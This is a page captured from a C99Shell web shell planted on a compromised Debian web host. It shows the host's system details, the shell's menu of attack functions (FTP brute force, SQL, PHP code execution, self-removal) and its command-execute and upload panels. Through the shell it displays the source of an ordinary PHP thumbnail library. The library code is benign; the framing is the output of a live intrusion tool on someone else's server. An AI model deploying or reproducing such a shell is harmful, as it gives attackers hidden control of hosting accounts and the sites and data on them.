!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/musvin.pp.ua/modules-alien/ajaxfilemanager/server/classes/   drwxr-xr-x
Free 116.64 GB of 200.55 GB (58.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PThumb.lib.php (35.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Project:     Plottable Thumbnail Library
 * File:        PThumb.php
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 *
 * @link http://chuayw2000.6x.to
 * @copyright 2004-2006 Chua Yong Wen
 * @author Chua Yong Wen <i.stole.your.precious@gmail.com>
 * @package PThumb
 * @version 1.2.10
 */

/**
 * @package PThumb
 */
class PThumb{
    
/**#@+
         * PThumb Configuration Section
         */

    /**
         * Set whether Cache is used
         * It is strongly recommended that you enable this. If you do, this will also allow methods to return thumbnail data and 
         * remote image data retrival should allow_url_fopen be disabled.
         * 
         * @access public
         * @var boolean
         */
    
var $use_cache true;
    
    
/**
          * Set to clear cache after thumbnail generation
          * Useful if you want to enable features that require the cache but do not want normal images to be cached.
          * 
          * @var public
          * @var boolean
       */
    
var $clear_cache false;
    
    
/**
         * Set the DIR of cache file. Include Trailing Slash or methods will FAIL!
         * @access public
         * @var string
         */
    
var $cache_dir "cache/";
    
    
/**
         * Set behaviour of script when fatal error is encountered.
         * 
         * Set to 0 to end script execution when an error is encountered with a die() statement.
         * Set to 1 to End script execution when an error is encountered with an image displaiyng the error
         * Set to 2 to log error in array
         * 
         * @access public
         * @var integer
         */
    
var $error_mode 2;

    
/**
     * Set to log error messages to file error_log in cache directory (Requires cache to be enabled!)
     * 
     * @access public
     * @var boolean
     */
    
    
var $log_error true;

    
/**
     * Set to retrieve remote data on every request. Defaults to True
     *  If set to false, remote files will be cached and any changes to remote files will not be reflected,
    *  unless file cache is destroyed.
     * Therefore, this option requires cache to be enabled to be set to false.
     *
     * @access public
     * @var boolean
     */
    
var $remote_check true;
    
    
/**
         * END Configuration Section
         * There should be no need to touch anything below this line.
         */

    /**
         * An array of error messages
         *  
         * @access private
         * @var array
         */
    
var $error_array = array();
    
    
/**
         * An array of cache'd remote file data
         * 
         * @access private
         * @var array
         */
    
var $data_cache = array();
    
    
    
/**
         * An array mapping PHP image format IDs to their appropriate file extensions
         * 
         * This also declares the image format supported.
         * 
         * @access private
         * @var array
         */
    
var $file_ext = array();
    
    var 
$thumb_quality 3;
    
    
/**#@-*/
    /**
         * The class constructor.
         * @access public
         */
    
function PThumb($quality){
        
$this->thumb_quality $quality;
        
$this -> error_array["fatal"] = array();
        
$this -> error_array["warning"] = array();
        if (!
function_exists("gd_info")){
            
$this -> set_error("GD is not enabled on this server! Unable to generate thumbnails.",0);
        }
        
        
//These are currently supported by PHP GD
        
$this -> file_ext = array(
                                
=> 'gif'
                                
=> 'jpg'
                                
=> 'png'
                                
15 => 'wbmp'
                                
16 => 'xbm'
                            
);
    }
    
/**
         * Check whether it is possible to cache
         * @return boolean
         * @access private
         * @scope protected
         */
     
function is_cacheable(){
        if (
$this -> use_cache == true && file_exists($this -> cache_dir) && is_writable($this -> cache_dir)){
            return 
true;
        }
        else{
            return 
false;
        }
     }
     
     
/**
       * Sets an error to the error_array array. Method always returns false.
       *
       * @access private
       * @param string $msg Error Message
       * @param boolean $is_fatal Set to true to enable a fatal error that will terminate script
       * @return boolean
       */
       
     
function set_error($msg$is_fatal=true){
        if (
$this -> is_cacheable() && $this -> log_error == true){
            
$this -> log_error($msg$is_fatal);
        }
        if (
$is_fatal){
            
$msg "[PThumb Fatal Error] ".$msg;
            if (
$this -> error_mode == 0){
                die(
$msg);
            }
            elseif (
$this -> error_mode == 1){
                
//Decide on the width 
                
$strlen strlen($msg);
                
$size_x $strlen 10;
                
$im = @imagecreate($size_x25)
                     or die(
"$msg");
                
$background_color imagecolorallocate($im25500);
                
$transparent imagecolortransparent($im,$background_color);
                
$text_color imagecolorallocate($im255,0,0);
                
imagestring($im500,  "$msg"$text_color);
                
header("Expires: " gmdate("D, d M Y H:i:s") . " GMT");        
                
header("Cache-Control: no-store, no-cache, must-revalidate");
                
header("Cache-Control: post-check=0, pre-check=0"false);
                
header("Pragma: no-cache"); 
                
header("Content-type: image/png");
                
imagepng($im);
                
imagedestroy($im);
                die();
            }
            else{
                if (
$is_fatal == true){
                    
$this -> error_array["fatal"][] = $msg;
                }
                else{
                    
$this -> error_array["warning"][] = $msg;
                }
            }
        }
        else{
            
$msg "[Warning] ".$msg;
            if (
$is_fatal == true){
                
$this -> error_array["fatal"][] = $msg;
            }
            else{
                
$this -> error_array["warning"][] = $msg;
            }
        }
        return 
false;
     }
     
     
/**
       * Logs an error to error log
       *
       * @access private
       * @param string $msg Error Message
       * @param boolean $is_fatal Set to true to enable a fatal error 
       * @return none
       */
     
function log_error($msg$is_fatal=true){
        if (
$this -> is_cacheable() && $this -> log_error == true){
            
$handle fopen($this -> cache_dir."error_log","a");
            @
flock($handleLOCK_EX);
            
$str "\r\n[";
            if (
$is_fatal){
                
$str .= "Fatal Error";
            }
            else{
                
$str .= "Warning";
            }
            
$str .= " @ ".date("r")."] ".$msg;
            @
fwrite($handle,$str);
            
fclose($handle);
        }
     }

    
/**
         * Function to get the error message from the array
         * 
         * @access public
         * @param boolean $fatal_error Set to true to return fatal errors or false for warnings
         * @return array
         * 
         */ 
    
function error($fatal_error true){
        if (
$fatal_error == true){
            return 
$this -> error_array["fatal"];
        }
        else{
            return 
$this -> error_array["warning"];
        }
    }
    
    
/**
          * Returns true if there is an error inside error_array
          * 
          * @return boolean
          * @access public
          */
        
    
function isError(){
        if (!empty(
$this -> error_array["fatal"]) || !empty($this -> error_array["warning"])){
            return 
true;
        }
        else{
            return 
false;
        }
    }
    
    
    
/**
         * Prints out and cache the thumbnail. Returns verbose errors.
         * 
         * @access public
         * @param string $image The Relative Path to the image
         * @param integer $width The Width of the new thumbnail
         * @param integer $height The Height of the thumbnail
         * @param boolean $return_img Set to true to return the string instead of outputting it. Default to false
         * @param boolean $display_inline If set to true, heaers sent to browser will instruct it to display the image inline instead of asking the user to download. Defaults to true.
         * @return string
         * 
         */
     
     
function print_thumbnail($image,$width,$height,$return_img false$display_inline true){
        
//Check parameters
        
if (empty($image) || empty($width) ||empty($height)){
            return 
$this -> set_error("Method print_thumbnail: Missing Parameters");
        }
        
//Check whether $image is a remote address
        
if ($this -> is_remote($image) == 1){
                
$is_remote true;
                
//Check that file exists (Check only enabled in PHP 5 because only PHP 5 supports for checking remote files
                
if (phpversion() >= && ini_get("allow_url_fopen") == "1"){
                    if (!
file_exists($image)){
                        return 
$this -> set_error("Method print_thumbnail: Error. The file '$image' you specified does not exists or cannot be accessed.");
                    }   
                }
                
$image_data $this -> retrieve_remote_file($image,true);
        }
        elseif (
$this -> is_remote($image) == 0){
            
$is_remote false;
            if (!
file_exists($image)){
                return 
$this -> set_error("Method print_thumbnail: Error. The file '$image' you specified does not exists or cannot be accessed.");
            }
            
$image_data = @join(file($image));  
        }
        
        if (!
is_string($image_data)){
            return 
$this -> set_error("Method print_thumbnail: Error, could not read image file '$image'.");
        }
        
        
$array $this -> retrieve_image_data($image);
        if (!
$array){
            return 
$this -> set_error("Method print_thumbnail: Unable to determine Image '$image' type and/or dimensions.");
        }
        list(
$ori_width$ori_height$format) = $array;
        
        
//Check whether format is supported
        
if (!array_key_exists($format$this -> file_ext)){
            return 
$this -> set_error("Method print_thumbnail: Image '$image' format is not supported.");
        }
        
//Check that cache is enabled, cache DIR is writable, cache DIR exists
        
if ($this -> is_cacheable()){
            
//Passed eh? Generate the root dir of request file
            
if ($is_remote != true){
                
$transformed realpath($image);
                
$hash sha1_file($image);
            }
            else{
                
$transformed $image;
                
$hash sha1($image_data);
            }
            
            
//Check if a version exists
            
$cache_file $this -> cache_dir.sha1($transformed).".".$width.".".$height.".".$hash.".".$this->file_ext[$format];
            if (
file_exists($cache_file)){                
                if (
$return_img == false){
                    
//die($cache_file);
                    
header("Expires: " gmdate("D, d M Y H:i:s") . " GMT");        
                    
header("Cache-Control: no-store, no-cache, must-revalidate");
                    
header("Pragma: no-cache"); 
                    
header("Content-Transfer-Encoding: binary");
                    
header("Content-type: ".image_type_to_mime_type($format));
                    if (
$display_inline == true){
                        
header("Content-Disposition: inline; filename=\"".time().".".$this->file_ext[$format]."\"");
                    }
                    else{
                        
header("Content-Disposition: attachment; filename=\"".time().".".$this->file_ext[$format]."\"");
                    }
                    print(
join(file($cache_file)));
                    die();
                    
                    
//Prepare redirectional URL
                    
$redir_url $_SERVER["HTTP_HOST"].dirname($_SERVER["PHP_SELF"])."/".$cache_file;
                    
//Remove instances of double slashes "//"
                    
$redir_url str_replace("//","/",$redir_url);
                    
header("Location: http://$redir_url");                    
                    die();
                }
                else{
                    return 
join(file($cache_file));
                }
            }
            
//Check that an older version does not exists and if it does, delete it
            
else{
                if (
$handle = @opendir($this -> cache_dir)) {
                     while (
false !== ($file readdir($handle))) { 
                          if (
preg_match("/^".preg_quote(sha1($transformed))."\.[0-9]+\.[0-9]+\.([0-9a-z]{40})\.(.+?)$/i",$file,$matches)) { 
                              
//Hash is in [1]
                              //Check to see if the file data is the same. If it is, then don't delete it.
                              
if ($matches[1] != $hash){
                                
$matched[] = $file;
                              }
                           }
                     } 
                     
closedir($handle);
                     if (!empty(
$matched)){
                         for (
$i 0$i <= count($matched) - 1$i++){
                            @
unlink($this -> cache_dir.$matched[$i]);
                         }
                    }
                }   
            }
        }
        
$gd_info gd_info();
        
        
//Special GIF handling
        
if ($format == && $gd_info["GIF Create Support"] != true){
            
//return $this -> set_error("Method print_thumbnail: Error, GIF support is unavaliable for PHP Version ".phpversion());
            //Image Outputted will be in PNG Format
            
$format 3;
        }
        
$handle = @imagecreatefromstring($image_data);
        if (
$handle == false){
            return 
$this -> set_error("Method print_thumbnail: Unsupported Image '$image' type");
        }
        
        
//Now lets resize it
        //First lets create a new image handler which will be the thumbnailed image
        
$thumbnail imagecreatetruecolor($width,$height);

        if (!
$thumbnail){
            return 
$this -> set_error("Method print_thumbnail: A thumbnail image '$image' could not be created");
        }
        
        
/*  Image Format Special Handlinng */
        //GIF truecolour to palette - preserve transparency
        
if ($format == 1){
            
imagetruecolortopalette($handletrue256);
        }
        
//PNG Alpha Channel saving
        
if ($format == 3){
            
//Set to save alpha channel info in source and destination
            
imagealphablending($handlefalse);
            
imagesavealpha($handletrue);
            
imagealphablending($thumbnailfalse);
            
imagesavealpha($thumbnailtrue);
        }
        
//Resize it
        
if (!$this->fastimagecopyresampled($thumbnail,$handle,0,0,0,0,$width,$height,ImageSX($handle),ImageSY($handle), $this->thumb_quality)){
            return 
$this -> set_error("Method print_thumbnail: Failed resizing image '$image'.");  
        }
        
//Cache it
        
if ($this -> is_cacheable()){
            switch (
$format){
                case 
1:
                    
$cached = @imagegif($thumbnail,$cache_file);
                    break;
                case 
2:
                    
$cached = @imageJPEG($thumbnail,$cache_file,100);
                    break;
                case 
3:
                    
$cached = @imagepng($thumbnail,$cache_file);
                    break;
                case 
15:
                    
$cached = @imagewbmp($thumbnail,$cache_file);
                    break;
                case 
16:
                    
$cached = @imagexbm($thumbnail,$cache_file);
                    break;
                default:
                    
$cached false;
            }
            
            if (!
$cached){
                return 
$this -> set_error("Method print_thumbnail: Error in cache generation of image '$image'.");
            }
        }
        if (
$return_img == false){
            
header("Expires: " gmdate("D, d M Y H:i:s") . " GMT");        
            
header("Cache-Control: no-store, no-cache, must-revalidate");
            
header("Pragma: no-cache"); 
            
header("Content-Transfer-Encoding: binary");
            
header("Content-type: ".image_type_to_mime_type($format));
            if (
$display_inline == true){
                
header("Content-Disposition: inline; filename=\"".time().".".$this -> file_ext[$format]."\"");
            }
            else{
                
header("Content-Disposition: attachment; filename=\"".time().".".$this -> file_ext[$format]."\"");
            }
            if (
$this -> is_cacheable()){
                echo 
join(file($cache_file));
            }
            else{
                switch (
$format){
                    case 
1:
                        
$outputed = @imagegif($thumbnail);
                        break;
                    case 
2:
                        
$outputed = @imageJPEG($thumbnail,'',100);
                        break;
                    case 
3:
                        
$outputed = @imagepng($thumbnail);
                        break;
                    case 
15:
                        
$outpupted = @imagewbmp($thumbnail);
                        break;
                    case 
16:
                        
$outputed = @imagexbm($thumbnail);
                        break;
                    default:
                        
$outputed false;
                }
                if (!
$outputed){
                    return 
$this->set_error("Method print_thumbnail: Error outputting Image '$image'");
                }
            }
            
        }
        else{
            if (
$this -> is_cacheable()){
                return 
join(file($cache_file));
            }
            else{
                return 
$this -> set_error("Method print_thumbnail: Cannot return image '$image'! Cache must be enabled!");
            }
        }
        
//Destroy the image
        
imagedestroy($handle);
        
imagedestroy($thumbnail);
        
//Clear any cache; if needed
        
$this -> clear_cache();
     }
     
/**
          * Function to turn a HEX Based color into an array of RBG
          * 
          * http://sg2.php.net/hexdec User Comment by henrique at recidive dot com
          * 
          * @access private
          * @param string $hex The Color code in HEX
          * @return array
          */
    
function hex2dec($hex) {
      
$color str_replace('#'''$hex);
      
$ret = array(
       
'r' => hexdec(substr($color02)),
       
'g' => hexdec(substr($color22)),
       
'b' => hexdec(substr($color42))
      );
      return 
$ret;
    }    
     
/**
         * Generate an image with the specified font and options. Image generated is always PNG. 
         * 
         * MAKE SURE TO GIVE COLOUR CODES IN HEX FORM!
         * 
         * @access private
         * @param string $text  The Text to output
         * @param integer $width The width of the image
         * @param integer $height The Width of the Image
         * @param integer $size The Font size of the text
         * @param string $font The Font of the text to use
         * @param integer $x The X-co-ordinate of the lower left corner of the text
         * @param integer $y The Y-Co-ordinate of the lower left of the text
         * @param string $bg The Background colour of the text. Defaults to #ffffff
         * @param string $textcolor The Colour of the text Defaults to #000000
         */
     
function output_text($text,$width,$height,$size,$font,$x,$y,$bg="ffffff",$textcolor="000000"){
        
/*
        if (!$font || !$size || !$height || !$width || !$text || !$x || !$y){
            return $this -> set_error("Method output_text: Missing Parameters");
        }
        */
        
$bg $this -> hex2dec($bg);
        
$textcolor $this -> hex2dec($textcolor);
            if (!
file_exists($font)){
                return 
$this -> set_error("Method print_thumbnail: Font cannot be found");
            }
            else{
                
$im = @imagecreate($width$height) or die("GD is not enabled.");
                
$background_color imagecolorallocate($im$bg["r"], $bg["g"], $bg["b"]);
                
//$transparent = imagecolortransparent($im,$background_color);
                
$text_color imagecolorallocate($im$textcolor["r"],$textcolor["g"],$textcolor["b"]);
                
//imagestring($im, $font, 0, 0,  "$msg", $text_color);
                 
imagettftext($im$size0$x,$y$text_color$font,"$text");
                
header("Content-type: image/png");
                
imagepng($im);
                
imagedestroy($im);
                die();
            }
    }
        
/**
             * Validates whether a Given URL is valid or whether it is a remote URL
             * 
             * Returns 0 if it is not remote
             * Returns 1 if it is remote and is accessible
             * 
             * @param string $address URL
             * @access private
             * @return integer
             */
        
function is_remote($address){
            
//Validate that the address is of correct format
            
if (!preg_match("/^(http|https|ftp)\:\/\/([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.[a-zA-Z]{2,4})(\:[0-9]+)*(\/[^\/][a-zA-Z0-9\.\,\?\'\\/\+&%\$#\=~_\-]*)*[\/]{0,1}$/",$address)){
                return 
0;
            }
            
/*
            //Test for connectivity
            $connected = $this -> validate_connectivity($address);
            if (!$connected){
                return 2;
            }
            */
            
return 1;
        }

    
/**
         * Scale the image to the magnitude specified and then calls print_thumbnail
         * Returns the dimensions calculated on request
         * 
         * @param string $image The Image
         * @param number $magnitude The magnitude of scaling Value can be a float of integer
         * @param boolean $return Whether to return the values or to call print_thumbnail. If set to true, will return an array or Width and Height respectively
         * @access public
         * @return mixed
         */
    
function scale_thumbnail($image,$magnitude,$return false){
        
$magnitude abs(floatval($magnitude));

        
$array  = @$this -> retrieve_image_data($image);
        if (!
$array){
            return 
$this -> set_error("Method scale_thumbnail: Unable to retrieve Image '$image' Size.");
        }
        list(
$width,$height) = $array;
        if (
$magnitude == 0){
            return 
$this -> set_error("Method scale_thumbnail error: Magnitude cannot be zero.");
        }
        elseif (
$magnitude == 1){
            
//Do nothing... 
        
}
        else{
            
$width round($width*$magnitude);
            
$height round($height*$magnitude);
        }
        if (
$return == false){
            return 
$this -> print_thumbnail($image,$width,$height);
        }
        else{
            
$array = array($width,$height);
            return 
$array;
        }
    }
    
    
/**
         * Calculate the best Image dimensions so that they fit within the supplied dimensions.
         * Returns the dimensions calculated on request
         * 
         * i.e. If you call this method with $width and $height of 200 and 100 and the $image provided is 500,250
         * A calculation will be made so that the width and height of the thumbnail does not alter the image width,height ratio
         * 
         * 
         * @param string $image The Image
         * @param integer $max_width The Width. Set to -1 for no restrictions
         * @param integer $max_height The height. Set to -1 for no restrictions
         * @param integer $behaviour Sometimes, 2 values are obtained. Set this to 1 to return the one with the bigger pixel area or 2 to return the one with smaller pixel area.
         * @param boolean boolean $return Whether to return the values or to call print_thumbnail. If set to true, will return an array or Width and Height respectively
         * @return mixed
         * @access public
         */
     
     
function fit_thumbnail($image,$max_width = -1$max_height = -1,$behaviour ,$return false){

        
$array = @$this -> retrieve_image_data($image);
        if (!
$array){
            return 
$this -> set_error("Method scale_thumbnail: Unable to retrieve Image '$image' Size.");  
        } 
        list(
$width,$height) = $array
        
$max_height intval($max_height);
        
$max_width intval($max_width);
        
//Calculate the width:height ratio
        
if ($height == || $width == 0){
            return 
$this -> set_error("Method fit_thumbnail: Unknown error. Height/width is zero.");
        }
        
$ratio $height/$width;
        if (
$max_height || $max_width 0){
            if (
$max_height && $max_width 0){
                
//Do nothing
            
}
            elseif (
$max_height 0){
                
$width $max_width;
                
$height round($width*$ratio);
            }
            elseif (
$max_width 0){
                
$height $max_height;
                
$width round($height/$ratio);
            }
        }
        elseif (
$ratio == 1){
            
//Same Height/Width
            
if ($max_height === $max_width){
                
$width $max_width;
                
$height $max_height;
            }
            else{
                
$height min($max_height,$max_width);
                
$width min($max_height,$max_width);
            }
        }
        else{
            
$case1_width $max_width;
            
$case1_height round($case1_width*$ratio);
            
$case1_area round($case1_width*$case1_height);
            
            
$case2_height $max_height;
            
$case2_width round($case2_height/$ratio);
            
$case2_area round($case2_width*$case2_height);
            
            
//Check if it is an ambiguous case
            
if ($case1_width <= $max_width && $case1_height <= $max_height && $case2_width <= $max_width && $case2_height <= $max_height){
                if (
$behaviour == 1){
                    if (
$case1_area >= $case2_area){
                        
$height $case1_height;
                        
$width $case1_width;
                    }
                    else{
                        
$height $case2_height;
                        
$width $case2_width;                      
                    }
                }
                else{
                    if (
$case1_area <= $case2_area){
                        
$height $case1_height;
                        
$width $case1_width;
                    }
                    else{
                        
$height $case2_height;
                        
$width $case2_width;                      
                    }                   
                }
            }
            else{
                if (
$case1_width <= $max_width && $case1_height <= $max_height){
                    
$height $case1_height;
                    
$width $case1_width;
                }
                else{
                    
$height $case2_height;
                    
$width $case2_width;                      
                }
            }
        }
        list(
$owidth,$oheight) = $this -> retrieve_image_data($image);
        if (
$height $oheight || $width $owidth){
            
$width $owidth;
            
$height $oheight;
        }
        if (
$return == false){
            return 
$this -> print_thumbnail($image,$width,$height);
        }
        else{
            
$array = array($width,$height);
            return 
$array;
        }
     }
     
/**
         * Writes an image file according to data provided. This method is just here to save scripters some trouble.
         * Users have to ensure directory can be written to! 
         *  
         * @param string $image The Image data
         * @param string $filename The relative path to the image file to be written
         * @param boolean $overwrite Specifies whether the file, if it exists, should be overwritten or not.
         * @return boolean
         */
     
function image_to_file($image,$filename,$overwrite=false){
        if (
file_exists ($filename) && $overwrite == false){
            return 
$this -> set_error("Method image_to_file: File exists.");
        } 
        
$handle = @fopen($filename,"wb");
        if (!
$handle){
            return 
$this -> set_error("Method image_to_file: Unknown error. File cannot be opened for writing.");
        }
        @
flock($handle,LOCK_EX);
        
$write fwrite($handle$image);
        if (!
$write){
            return 
$this -> set_error("Method image_to_file: Unknown error. File cannot be written to.");
        }
        
fclose ($handle);
        return 
true;
     }
     
     
/**
         * Attempts to retrieve a remote file data and returns it. Returns false on error.
         * 
         * Returns string on success, 0 on failure after repeated attempts using different methods, 1 on invalid URL, 2 on inaccessible URL, 3 on file not exist error
         * 
         * @param string $url URL
         * @param boolean $skip_checks Set to skip URL validating
         * @param boolean $refresh Set to ignore cache
         * @param integer $force_method Force a certain method of file retrival. Set to null
         * @return mixed
         * @access private
         */
    
function retrieve_remote_file($url,$skip_checks=false,$refresh=false$force_method 2){
        if (
$refresh == false && !empty($this -> data_cache[sha1($url)])){
            return 
$this -> data_cache[sha1($url)];
        }
        if (
$skip_checks == false){
            if (
$this -> is_remote($url) == 1){
                    
//Check that file exists (Check only enabled in PHP 5 because only PHP 5 supports for checking remote files
                    
if (phpversion() >= && ini_get("allow_url_fopen") == "1"){
                        if (!
file_exists($url)){
                            
$this -> set_error("Method retrieve_remote_file: '$url' does not exists."false);
                            return 
3;
                        }   
                    }
            }
            elseif (
$this -> is_remote($url) == 0){
                if (!
file_exists($url)){
                    
$this -> set_error("Method retrieve_remote_file: '$url' is invalid."false);
                    return 
1;
                }
            }
        }
        @
ini_set("allow_url_fopen","1");
        
        if (
ini_get("allow_url_fopen") == "1" && ($force_method == null || $force_method == 1)){
            
//METHOD 1: file()
            
$data = @join(file($url));
            if (
$data != false){
                
$this -> data_cache[sha1($url)] = $data;
                return 
$data;
            }
        }
        
//METHOD 2: HTTP_RETRIEVE + CURL (by class)
        
if (class_exists("HTTPRetriever") && ($force_method == null || $force_method == 2)){
            
$handle = new HTTPRetriever();
            
            
//Set Options
            
$handle -> headers["Referer"] = $url;
            
$handle -> insecure_ssl true;
            
$handle -> ignore_ssl_hostname true;
            
$handle -> follow_redirects true;
            
            
//Retreieve Data
            
if (!$handle -> get($url)){
                
//Well,,,
            
}
            else{
                
$data $handle -> response;
                
$this -> data_cache[sha1($url)] = $data;
                return 
$data;
            }
        }
        
//METHOD 3: CURL Take II
        
if (function_exists("curl_version") && ($force_method == null || $force_method == 3)){
            
$handle = @curl_init(); 
            if (
$handle != false){
                
curl_setopt ($handleCURLOPT_RETURNTRANSFER1);
                
curl_setopt ($handleCURLOPT_CONNECTTIMEOUT1); 
                
curl_setopt ($handleCURLOPT_FOLLOWLOCATION1);
                
curl_setopt ($handleCURLOPT_URL$url);
                
$data = @curl_exec($handle);
                
curl_close($handle);  
                if (
$data != false){
                    
$this -> data_cache[sha1($url)] = $data;
                    return 
$data;
                }
            }
        }
        
        
//Well, too bad.
        
$this -> set_error("Method retrieve_remote_file: '$url' cannot be retrieved."false);
        return 
0;
    }
    
    
/**
         *
         * Retrieves image data. Workaround for allow_url_fopen if it is disabled
         * Does not validate file existence
         * 
         * @access private
         * @return array
         * @param string $file Filename
         * 
         */
    
function retrieve_image_data($file){
        
//DOESN'T CHECK!!!
        
if ($this -> is_remote($file) == 0){
            return 
getimagesize($file);
        }
        
//Try via the direct method first.
        
@ini_set("allow_url_fopen","1");
        if (
ini_get("allow_url_fopen") == "1" && $this -> remote_check == true){
            
$array getimagesize($file);
            if (
$array != false && $this -> remote_check == true){
                return 
$array;
            }
        }
        
        if (
$this -> is_cacheable()){
            
$filename 'remote_'.sha1($file)."_".time();
            
//Check for file existence
            
if (file_exists($this -> cache_dir.$filename) && $this -> remote_check == false){
                
$data join(file($this -> cache_dir.$filename));
            }
            else{
                
$data $this -> retrieve_remote_file($file);
            }
            if (!
is_string($data)){
                
$this -> set_error("Method retrieve_image_data: '$file' cannot be read."false);
                return 
false;
            }
            if (!
file_exists($this -> cache_dir.$filename) || $this -> remote_check == true){
                
$handle = @fopen($this -> cache_dir.$filename,"w+");
                if (
$handle){
                    
flock($handle,LOCK_EX);
                    
fwrite($handle,$data);
                    
fclose($handle);
                    }
                }
            
$array getimagesize($this -> cache_dir.$filename);
            if (
$this -> remote_check == true){
                @
unlink($this-> cache_dir.$filename);
            }
            if (
$array != false){
                return 
$array;
            }
        }
        
        
//Well, TOO BAD
        
$this -> set_error("Method rretrieve_image_data: Unable to retrieve image '$file' data."false);
        return 
false;
    }
    
    
/**
         *
         * Clears Cache 
         * 
         * @access private
         * 
         */
    
function clear_cache(){
        if (
$this -> clear_cache == true){
            if (
$handle = @opendir($this -> cache_dir)) {
               while (
false !== ($file readdir($handle))) {
                   if (
$file != "." && $file != ".." && $file != ".htaccess" && $file != "error_log") {
                       @
unlink($this -> cache_dir.$file) or $this -> set_error("Method clear_cache: Unable to delete '$file' from cache.",false);
                   }
               }
               
closedir($handle);
            }
            else{
                
$this -> set_error("Method clear_cache: Unable to open cache directory.",false);
            }
        }
    }
    
    function 
fastimagecopyresampled (&$dst_image$src_image$dst_x$dst_y$src_x$src_y$dst_w$dst_h$src_w$src_h$quality 1)
    {
        
// Plug-and-Play fastimagecopyresampled function replaces much slower imagecopyresampled.
        // Just include this function and change all "imagecopyresampled" references to "fastimagecopyresampled".
        // Typically from 30 to 60 times faster when reducing high resolution images down to thumbnail size using the default quality setting.
        // Author: Tim Eckel - Date: 09/07/07 - Version: 1.1 - Project: FreeRingers.net - Freely distributable - These comments must remain.
        //
        // Optional "quality" parameter (defaults is 3). Fractional values are allowed, for example 1.5. Must be greater than zero.
        // Between 0 and 1 = Fast, but mosaic results, closer to 0 increases the mosaic effect.
        // 1 = Up to 350 times faster. Poor results, looks very similar to imagecopyresized.
        // 2 = Up to 95 times faster.  Images appear a little sharp, some prefer this over a quality of 3.
        // 3 = Up to 60 times faster.  Will give high quality smooth results very close to imagecopyresampled, just faster.
        // 4 = Up to 25 times faster.  Almost identical to imagecopyresampled for most images.
        // 5 = No speedup. Just uses imagecopyresampled, no advantage over imagecopyresampled.

        
if (empty($src_image) || empty($dst_image) || $quality <= 0) { return false; }
        if (
$quality && (($dst_w $quality) < $src_w || ($dst_h $quality) < $src_h)) {
            
$temp imagecreatetruecolor ($dst_w $quality 1$dst_h $quality 1);
            
imagecopyresized ($temp$src_image00$src_x$src_y$dst_w $quality 1$dst_h $quality 1$src_w$src_h);
            
imagecopyresampled ($dst_image$temp$dst_x$dst_y00$dst_w$dst_h$dst_w $quality$dst_h $quality);
            
imagedestroy ($temp);
        } else 
imagecopyresampled ($dst_image$src_image$dst_x$dst_y$src_x$src_y$dst_w$dst_h$src_w$src_h);
        return 
true;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0447 ]--